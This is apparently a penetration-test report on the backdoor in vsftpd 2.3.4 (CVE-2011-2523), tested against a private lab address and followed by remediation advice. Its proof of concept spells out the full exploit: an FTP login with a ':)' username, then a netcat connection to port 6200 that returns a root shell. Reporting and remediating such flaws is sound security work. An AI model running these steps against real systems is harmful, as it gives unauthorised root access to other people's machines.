**Vulnerability Report: vsftpd 2.3.4 - Backdoored FTP Service**

**Severity**: Critical  
**Tool Used**: Nmap + Netcat + Manual Exploitation

**CVE: CVE-2011-2523**

**Risk Description:**

**vsftpd 2.3.4** contains a **backdoor planted by an attacker** in a compromised version of the binary. When a username contains a smiley :), the backdoor opens a **bind shell on TCP port 6200** — giving **unauthenticated remote root shell access**.

This is not a misconfiguration or bug — it’s an **intentional trojan** embedded into the service.

**Exploitation Method**

Using **anonymous login** and a crafted username to trigger the bind shell.

**Proof of Concept (Against: 192.168.254.144)**

**Connect to FTP:**

bash

CopyEdit

ftp 192.168.254.144

**Login with malicious username:**

bash

CopyEdit

Name: anonymous:)

Password: (just press Enter)

The service will appear to freeze or disconnect — that’s the **trigger**.

**Connect to the Backdoor Shell:**

bash

CopyEdit

nc 192.168.254.144 6200

If successful, you'll get:

shell

CopyEdit

# whoami

root

Confirmed: Remote root access via backdoor.

**Remediation Advice**

* **Immediate action**: Remove vsftpd 2.3.4 entirely.
* Replace with **vsftpd 3.x** or a secure SFTP implementation.
* Verify package source and hash against **official repositories**.
* Check for PORT 6200 bindings and unknown reverse shells.
* Conduct incident response if this version was ever internet-facing.

**References**

* [CVE-2011-2523 – NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2011-2523)
* Backdoor Discovery Blog
* Metasploit Module